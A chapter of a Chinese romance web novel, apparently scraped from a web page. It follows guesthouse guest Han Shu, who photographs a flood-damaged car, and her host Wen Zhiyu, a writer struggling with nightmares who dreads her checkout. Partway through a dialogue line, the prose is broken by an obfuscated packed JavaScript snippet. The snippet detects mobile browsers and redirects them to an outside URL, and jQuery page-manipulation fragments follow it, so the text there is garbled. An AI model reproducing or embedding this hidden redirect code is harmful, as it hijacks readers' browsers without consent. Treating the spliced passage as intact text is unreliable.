当晚，韩暑梦见自己的太阳穴上顶了把枪，而她在扇巴掌。
——扇闻知屿巴掌。
黑衣人恶狠狠道：“不许停！”
韩暑嘤的一声就哭了，“我也不想停，可我胳膊真的好痛啊……”
枪口陡然用力，韩暑被顶得偏过头去。吓得她赶紧闭嘴，用尽全身力气、忍住肌肉的酸痛，抡圆膀子，冲闻知屿那张无辜却可恨的俊脸呼了过去。
“啪！”
韩暑醒了。
她从平躺翻至侧身，左手抓右手手腕，像搬运碎尸一样将手臂平移至床垫。一边按摩肌肉一边寻思，乳酸再多一点都能闻到味了。
倒是做了个美梦。
昨天，闻知屿真的薅着她玩了一整天，半夜十一点她眼皮子都打架了，人家还意犹未尽……
比起民宿，他应该开幼儿园才对！
梦里做了现实不敢做的事，韩暑闭目养神并反复回味。
“嗡嗡！”
刚眯着，枕边手机震动。
韩暑睁开一只眼，屏幕上是一串陌生中有些熟悉的号码。她按下接听，“您、好？”
“你好，我是被树砸了的车主——不是，被树砸了的车的车主。”
听到声音的瞬间，韩暑也想起来，“啊你好，有什么事吗？”
“是这样。”车主尴尬地笑了两声，“我联系了保险公司，那边需要提前了解一下水淹到什么程度。电车系统全瘫痪了，我这边什么都看不到，也联系不到琼岛的朋友……想问一下，如果你恰好在附近、如果方便，能不能帮我拍两张照片呢？”
睡意溜走。
韩暑下床，拉开窗帘，往外一看——水蓝的天，万里无云。柔和的日光倾落于每一寸肌肤，连尸斑都淡了不少。
车主像有心灵感应似的补充：“我看今天琼岛晴了，路面积水好像也处理干净了。”
韩暑伸了个懒腰，看天气确实想出门走走，便答应了。
“方便。光拍照就行吗？”
“谢谢，谢谢姑娘。”车主舒了口气，“拍一下外观，再拍一下车内、驾驶座的情况就好。照片麻烦发我微信，就是这个手机号。”
“好，没问题。”韩暑走进浴室，避开大咪的蟒蛇绕腿，“前几天积水挺深，估计有些严重。您还是得尽快处理。”
“我手头还有些工作，明天的飞机到。”车主沉沉地笑了，“谢谢。”
挂了电话，韩暑飞速洗漱吃早餐，闻知屿的那份放在冰箱留了字条，咪的那份配送到家，然后雄赳赳气昂昂的出门了。
她深吸一口雨后初晴的清爽，感受着因为长时间潮湿而皱巴的毛孔舒展开来，心情好了许多——连对闻知屿的怨气都平复了不少。
韩暑逆着来时路走过小巷，走过椰子树下的林荫道，回到了那个堪称命运转折的人生路口。这一段路彼时另她崩溃绝望，风雨过后再走，尽是坦途。
不过十分钟，便到了地方。
她抬手摸了摸车尾，扼腕叹息，“你还有气吗？还能救吗？”
——积水退去，一道横过车尾灯的泥巴色印记像伤口一般刺目。在看车头，那颗树枝扎进挡风玻璃后又被台风吹倒，疏密不一的裂痕布满挡风玻璃。车内，一看就价值不菲的座椅面全部被水泡了，中控台都满是泥渍，触目惊心。
韩暑绕车一周拍照录像后从车主微信发了过去。
一并发去的有两个字。
节哀。
与此同时，闻知屿猝然睁眼，翻身坐在床沿，将脸深深埋于掌心，陷入剧烈的喘息。瘦削的背像一把拉满弦的弯弓，紧绷又颤抖，再多一毫米似乎就要弯折。
自从把这本现实题材的小说摆上日程，他又开始频繁地做相同的梦，频繁地回到那节走不到尽头的旋转楼梯。
颜色、声音、气味、触感……
思维的列车在虚空中破风而行，他奋力向反方向奔跑，却怎么都回不到起点。
良久，闻知屿拿起手机，拨了秦建翎的电话。
“终于回电话了？不过没事了，我已经找人去——”
“建翎。”闻知屿轻声，“我还是一个字都写不出来。”
秦建翎原本轻快的语气陡变，“写不出来就不写，你本身擅长的就不是现实题材，何苦强迫自己呢？”
一股浊气困于肺部，闻知屿怎么深呼吸，都无法缓解胸腔的憋闷，“这个故事，是我唯一的写作目标。我必须写。”
沉默。
良久，秦建翎问：“你最近作息好吗？有没有做些调节情绪的事情？”
“白天挺好。”闻知屿死水一样的黑眸起了波澜，虽然嗓音还有梦魇后的喑哑，但语气却像小朋友炫耀新玩具一般，“我玩游戏了！”
秦建翎失笑，“什么游戏？跳跳杆还是造纸船？”
“不是。”闻知屿说，“游戏叫拍鸡蛋，就是用一个塑料碗扣一个鸡蛋，两个人轮流，可以拍可以拿可以……”
他以作家的专业修养，极其详细的介绍了游戏规则，还讲述了游戏过程中的高光时刻。
听完，秦建翎总结，“……你那房客确实挺奇怪的。”
闻知屿回忆一番后心情大好，也不坐在床沿装“思想者”了，喜滋滋地拉开窗帘。旋即手一僵，喃喃自语，“……天晴了。”
“是啊，我看琼岛网友们纷纷奔走传递喜讯。”秦建翎说，“这好事啊，你也出去晒晒太阳。别跟个吸血鬼似的，缺钙骨质疏松知不知道？”
人类的悲欢并不相通。
闻知屿蔫巴巴，“我的房客快要走了。”
“这都住了五天了，马上到七天期限。没说什么时候退房？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903493|176738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“不知道，她没说。”
闻知屿转念一想，七天，那还差两天。
要抓紧最后的时间多玩几个游戏。
他急火火地冲进浴室，“不说了，我还有事。”
秦建翎早就习惯了他的情绪过山车，用最快的语速和最平静的语气输出信息，“我明天晚上的飞机落地琼岛，准备好银行卡给我赔车。至于小说，试试用纸笔——五年前你自己的老方法。如果还是没灵感那就是时机不到，别心急。”
闻知屿嗯嗯的应承，其实满脑子想的都是今天该玩什么。
挂了电话，他飞速洗漱下楼。
客厅没有韩暑的身影，餐厅也没有。他去敲卧室门，没人应。
人呢？
闻知屿径直走到门口，拉开住客鞋柜——粉色拖鞋和灰色拖鞋并排，没有韩暑那天传来的凉鞋。
人出去了。
期待落空，他重重合上柜门，拖着步子把电脑抱下来，顺带拎了个本和笔，在茶几——恰好能看到防盗门的位置坐定。
说好的要玩游戏呢？她怎么出去了？说话不算数！她怎么这么过分！他一定要在今天的游戏环节赢过她！今天到底玩什么她还没说？会好玩吗？哎，她到底什么时候回来！
韩暑拍完照，又去了趟最近的沙滩。下过雨，近处的海水有些浑浊，没有往日清透，却多了些苍茫，是很少见的景色。加上早上吃得饱，她便多坐了一会，下午四点多才往回走。
刚到别墅门口，正要推门，身后传来一个温柔的中年女声。
“姑娘，你是住客吗？还是小闻的女朋友？”
听到前半句韩暑刚想说是，听到后半句她直接一脚踩空。转过身来，一位慈祥和蔼的阿姨正笑眯眯望过来。
韩暑连连摆手，“不是不是不是，我是住客。”
阿姨恍然大悟，轻车熟路地走进院子，一边回头寒暄，“是台风前就住下了吧？”
韩暑猜测这位大概是闻知屿的阿姨，乖乖跟上，“对，台风着陆前一天住的。”
“住得习惯吗？”
“习惯的阿姨。”
“那就好。”阿姨在院子中站定，环顾四周的狼藉后叹息，“这得好好休整了……等会我先去你住的房间，这几天都没过来，辛苦你自己收拾了。”
韩暑怪不好意思，“不麻烦阿姨了。”
阿姨佯装不悦，“这怎么是麻烦呢？”
“真不用阿姨。我明早就退房了，今天打扫平白增加工作量——”
滴滴！
防盗门从内打开，闻知屿一身黑色居家服出现在视野之中。他半垂着眸，阳光在眼窝投下暗影，冷白的肤色像陶瓷般易碎。一并碎裂的还有他的声音。
闻知屿的声音又低又哑。
只听他用陈述的语气问道：“你明天就要走。”